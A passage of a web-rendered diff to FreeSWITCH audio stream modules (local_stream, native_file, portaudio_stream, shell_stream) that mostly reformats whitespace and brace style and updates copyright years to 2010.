if (tmp == 1 || tmp == 2) {
|
||||
channels = (uint8_t)tmp;
|
||||
channels = (uint8_t) tmp;
|
||||
}
|
||||
}
|
||||
|
||||
interval = argv[6] ? atoi(argv[6]) : 20;
|
||||
|
||||
if (!SWITCH_ACCEPTABLE_INTERVAL(interval)){
|
||||
|
||||
if (!SWITCH_ACCEPTABLE_INTERVAL(interval)) {
|
||||
interval = 20;
|
||||
}
|
||||
|
||||
if (!path){
|
||||
if (!path) {
|
||||
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
|
||||
stream->write_function(stream, "-ERR unable to open file %s!\n",cf);
|
||||
stream->write_function(stream, "-ERR unable to open file %s!\n", cf);
|
||||
goto done;
|
||||
}
|
||||
|
||||
for (directory = switch_xml_child(cfg, "directory"); directory; directory = directory->next) {
|
||||
char *name = (char *) switch_xml_attr(directory, "name");
|
||||
if (!name || !local_stream_name || strcasecmp(name, local_stream_name)){
|
||||
if (!name || !local_stream_name || strcasecmp(name, local_stream_name)) {
|
||||
continue;
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
path = (char *) switch_xml_attr(directory, "path");
|
||||
if (!(name && path)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid config!\n");
|
||||
@@ -868,7 +867,7 @@ SWITCH_STANDARD_API(start_local_stream_function)
|
||||
}
|
||||
switch_xml_free(xml);
|
||||
}
|
||||
|
||||
|
||||
if (zstr(local_stream_name) || zstr(path)) {
|
||||
goto usage;
|
||||
}
|
||||
@@ -878,13 +877,13 @@ SWITCH_STANDARD_API(start_local_stream_function)
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
if (source) {
|
||||
source->stopped = 0;
|
||||
stream->write_function(stream,"+OK");
|
||||
goto done;
|
||||
stream->write_function(stream, "+OK");
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool for new local_stream\n");
|
||||
stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n",local_stream_name);
|
||||
stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n", local_stream_name);
|
||||
goto done;
|
||||
}
|
||||
|
||||
@@ -910,13 +909,13 @@ SWITCH_STANDARD_API(start_local_stream_function)
|
||||
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
|
||||
switch_thread_create(&thread, thd_attr, read_stream_thread, source, source->pool);
|
||||
|
||||
stream->write_function(stream,"+OK");
|
||||
stream->write_function(stream, "+OK");
|
||||
goto done;
|
||||
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "-USAGE: %s\n", START_LOCAL_STREAM_SYNTAX);
|
||||
|
||||
done:
|
||||
done:
|
||||
|
||||
switch_safe_free(path);
|
||||
switch_safe_free(timer_name);
|
||||
@@ -960,7 +959,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_local_stream_shutdown)
|
||||
RUNNING = 0;
|
||||
switch_event_unbind_callback(event_handler);
|
||||
|
||||
while(THREADS > 0) {
|
||||
while (THREADS > 0) {
|
||||
switch_yield(100000);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -104,7 +104,7 @@ static switch_status_t native_file_file_truncate(switch_file_handle_t *handle, i
|
||||
if ((status = switch_file_trunc(context->fd, offset)) == SWITCH_STATUS_SUCCESS) {
|
||||
handle->pos = 0;
|
||||
}
|
||||
|
||||
|
||||
return status;
|
||||
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -154,9 +154,9 @@ static int get_dev_by_name(char *name, int in)
|
||||
return -1;
|
||||
}
|
||||
|
||||
static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
|
||||
static switch_status_t engage_device(portaudio_stream_source_t *source, int restart)
|
||||
{
|
||||
PaStreamParameters inputParameters,outputParameters;
|
||||
PaStreamParameters inputParameters, outputParameters;
|
||||
PaError err;
|
||||
int sample_rate = source->rate;
|
||||
int codec_ms = source->interval;
|
||||
@@ -187,8 +187,7 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
|
||||
if (switch_core_codec_init(&source->write_codec,
|
||||
"L16",
|
||||
NULL,
|
||||
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
|
||||
NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
|
||||
switch_core_codec_destroy(&source->read_codec);
|
||||
return SWITCH_STATUS_FALSE;
|
||||
@@ -198,7 +197,7 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
|
||||
|
||||
if (!source->timer.timer_interface) {
|
||||
if (switch_core_timer_init(&source->timer,
|
||||
source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
|
||||
source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
|
||||
module_pool) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
|
||||
switch_core_codec_destroy(&source->read_codec);
|
||||
@@ -224,14 +223,13 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
|
||||
outputParameters.hostApiSpecificStreamInfo = NULL;
|
||||
|
||||
|
||||
err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff,
|
||||
source->read_codec.implementation->samples_per_packet, 0);
|
||||
err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff, source->read_codec.implementation->samples_per_packet, 0);
|
||||
/* UNLOCKED ************************************************************************************************* */
|
||||
if (err != paNoError) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening audio device retrying\n");
|
||||
switch_yield(1000000);
|
||||
err = OpenAudioStream(&source->audio_stream, &inputParameters, &outputParameters, sample_rate, paClipOff,
|
||||
source->read_codec.implementation->samples_per_packet, 0);
|
||||
source->read_codec.implementation->samples_per_packet, 0);
|
||||
}
|
||||
|
||||
switch_mutex_unlock(source->device_lock);
|
||||
@@ -251,7 +249,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
portaudio_stream_source_t *source = obj;
|
||||
portaudio_stream_context_t *cp;
|
||||
int samples = 0;
|
||||
int bused, bytesToWrite;
|
||||
int bused, bytesToWrite;
|
||||
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
@@ -271,14 +269,14 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
|
||||
switch_thread_rwlock_create(&source->rwlock, source->pool);
|
||||
|
||||
if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n",(int) source->sourcedev);
|
||||
if (engage_device(source, 0) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n", (int) source->sourcedev);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n",(int) source->sourcedev, (int) source->rate);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n", (int) source->sourcedev, (int) source->rate);
|
||||
if (globals.running && !source->stopped) {
|
||||
source->ready = 1;
|
||||
|
||||
if (!source->audio_stream){
|
||||
if (!source->audio_stream) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Audio Stream wops!\n");
|
||||
source->stopped = 0;
|
||||
source->ready = 0;
|
||||
@@ -287,7 +285,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
samples = 0;
|
||||
switch_mutex_lock(source->device_lock);
|
||||
samples = ReadAudioStream(source->audio_stream, source->databuf,
|
||||
source->read_codec.implementation->samples_per_packet , &source->timer);
|
||||
source->read_codec.implementation->samples_per_packet, &source->timer);
|
||||
switch_mutex_unlock(source->device_lock);
|
||||
|
||||
|
||||
@@ -306,9 +304,9 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
switch_mutex_lock(cp->audio_mutex);
|
||||
|
||||
bused = switch_buffer_inuse(cp->audio_buffer);
|
||||
if (bused > source->samples * 768 ) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n", cp->func, cp->file,
|
||||
cp->line,(int) bused, (int) ( source->samples * 768));
|
||||
if (bused > source->samples * 768) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n",
|
||||
cp->func, cp->file, cp->line, (int) bused, (int) (source->samples * 768));
|
||||
switch_buffer_zero(cp->audio_buffer);
|
||||
} else {
|
||||
switch_buffer_write(cp->audio_buffer, source->databuf, bytesToWrite);
|
||||
@@ -357,7 +355,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
switch_mutex_unlock(globals.mutex);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " thread ending succesfully !\n");
|
||||
switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
|
||||
switch_thread_exit(thread, SWITCH_STATUS_SUCCESS);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
@@ -365,14 +363,14 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
|
||||
|
||||
static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
|
||||
{
|
||||
portaudio_stream_context_t *context ;
|
||||
portaudio_stream_context_t *context;
|
||||
portaudio_stream_source_t *source;
|
||||
switch_memory_pool_t *pool;
|
||||
switch_status_t status = SWITCH_STATUS_FALSE;
|
||||
switch_thread_t *thread;
|
||||
switch_threadattr_t *thd_attr = NULL;
|
||||
uint32_t rate = PREFERRED_RATE;
|
||||
char *npath ;
|
||||
char *npath;
|
||||
int devNumber;
|
||||
int tmp;
|
||||
|
||||
@@ -383,7 +381,7 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
|
||||
return status;
|
||||
}
|
||||
|
||||
npath = switch_core_strdup(module_pool, path);
|
||||
npath = switch_core_strdup(module_pool, path);
|
||||
|
||||
tmp = handle->samplerate;
|
||||
if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
|
||||
@@ -391,11 +389,11 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
|
||||
}
|
||||
|
||||
if (*path == '#') {
|
||||
devNumber = get_dev_by_number(npath + 1, 1);
|
||||
devNumber = get_dev_by_number(npath + 1, 1);
|
||||
} else {
|
||||
devNumber = get_dev_by_name(npath , 1);
|
||||
devNumber = get_dev_by_name(npath, 1);
|
||||
}
|
||||
npath = switch_mprintf("device-%d at %d",devNumber,rate);
|
||||
npath = switch_mprintf("device-%d at %d", devNumber, rate);
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
source = switch_core_hash_find(globals.source_hash, npath);
|
||||
@@ -408,7 +406,7 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, " :S no pool\n");
|
||||
} else {
|
||||
source = switch_core_alloc(pool, sizeof(*source));
|
||||
if (source!=NULL){
|
||||
if (source != NULL) {
|
||||
source->pool = pool;
|
||||
source->sourcedev = devNumber;
|
||||
source->sourcename = switch_core_strdup(source->pool, npath);
|
||||
@@ -436,8 +434,8 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
|
||||
/* dev already engaged */
|
||||
if (source) {
|
||||
|
||||
/*wait for source to be ready*/
|
||||
while(source->ready==0) {
|
||||
/*wait for source to be ready */
|
||||
while (source->ready == 0) {
|
||||
switch_yield(100000);
|
||||
}
|
||||
|
||||
@@ -596,7 +594,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_stream_shutdown)
|
||||
globals.running = 0;
|
||||
switch_event_unbind_callback(shutdown_event_handler);
|
||||
|
||||
while(globals.threads > 0) {
|
||||
while (globals.threads > 0) {
|
||||
switch_yield(100000);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -43,7 +43,7 @@ struct shell_stream_context {
|
||||
int pid;
|
||||
char *command;
|
||||
switch_buffer_t *audio_buffer;
|
||||
switch_mutex_t *mutex;
|
||||
switch_mutex_t *mutex;
|
||||
switch_thread_rwlock_t *rwlock;
|
||||
int running;
|
||||
};
|
||||
@@ -63,15 +63,15 @@ static void *SWITCH_THREAD_FUNC buffer_thread_run(switch_thread_t *thread, void
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
|
||||
goto end;
|
||||
}
|
||||
|
||||
while(context->running) {
|
||||
|
||||
|
||||
while (context->running) {
|
||||
|
||||
rlen = read(context->fds[0], data, MY_BUF_LEN);
|
||||
|
||||
if (rlen <= 3) {
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_lock(context->mutex);
|
||||
switch_buffer_write(context->audio_buffer, data, rlen);
|
||||
switch_mutex_unlock(context->mutex);
|
||||
@@ -79,7 +79,7 @@ static void *SWITCH_THREAD_FUNC buffer_thread_run(switch_thread_t *thread, void
|
||||
|
||||
switch_thread_rwlock_unlock(context->rwlock);
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
context->running = 0;
|
||||
|
||||
@@ -92,26 +92,26 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
switch_thread_t *thread;
|
||||
switch_threadattr_t *thd_attr = NULL;
|
||||
|
||||
|
||||
if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
|
||||
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
|
||||
|
||||
|
||||
context->fds[0] = -1;
|
||||
context->fds[1] = -1;
|
||||
context->command = switch_core_sprintf(handle->memory_pool, "%s -r %d -c %d", path, handle->samplerate, handle->channels);
|
||||
|
||||
if (pipe(context->fds)) {
|
||||
goto error;
|
||||
} else { /* good to go*/
|
||||
} else { /* good to go */
|
||||
context->pid = fork();
|
||||
|
||||
if (context->pid < 0) { /* ok maybe not */
|
||||
|
||||
if (context->pid < 0) { /* ok maybe not */
|
||||
goto error;
|
||||
} else if (context->pid) { /* parent */
|
||||
} else if (context->pid) { /* parent */
|
||||
handle->private_info = context;
|
||||
status = SWITCH_STATUS_SUCCESS;
|
||||
close(context->fds[1]);
|
||||
@@ -124,19 +124,19 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
|
||||
|
||||
switch_thread_rwlock_create(&context->rwlock, handle->memory_pool);
|
||||
switch_mutex_init(&context->mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
|
||||
|
||||
|
||||
switch_threadattr_create(&thd_attr, handle->memory_pool);
|
||||
switch_threadattr_detach_set(thd_attr, 1);
|
||||
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
|
||||
switch_thread_create(&thread, thd_attr, buffer_thread_run, context, handle->memory_pool);
|
||||
context->running = 2;
|
||||
|
||||
while(context->running == 2) {
|
||||
while (context->running == 2) {
|
||||
switch_cond_next();
|
||||
}
|
||||
|
||||
goto end;
|
||||
} else { /* child */
|
||||
} else { /* child */
|
||||
close(context->fds[0]);
|
||||
dup2(context->fds[1], STDOUT_FILENO);
|
||||
switch_system(context->command, SWITCH_TRUE);
|
||||
@@ -146,22 +146,22 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
|
||||
}
|
||||
}
|
||||
|
||||
error:
|
||||
error:
|
||||
|
||||
close(context->fds[0]);
|
||||
close(context->fds[1]);
|
||||
status = SWITCH_STATUS_FALSE;
|
||||
|
||||
|
||||
end:
|
||||
|
||||
|
||||
end:
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
|
||||
{
|
||||
shell_stream_context_t *context = handle->private_info;
|
||||
|
||||
|
||||
context->running = 0;
|
||||
|
||||
if (context->fds[0] > -1) {
|
||||
@@ -184,10 +184,10 @@ static switch_status_t shell_stream_file_read(switch_file_handle_t *handle, void
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
switch_size_t rlen = *len * 2;
|
||||
|
||||
while(context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
|
||||
while (context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
|
||||
switch_cond_next();
|
||||
}
|
||||
|
||||
|
||||
switch_mutex_lock(context->mutex);
|
||||
*len = switch_buffer_read(context->audio_buffer, data, rlen) / 2;
|
||||
switch_mutex_unlock(context->mutex);
|
||||
|
||||
Loaded 100 of 229 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user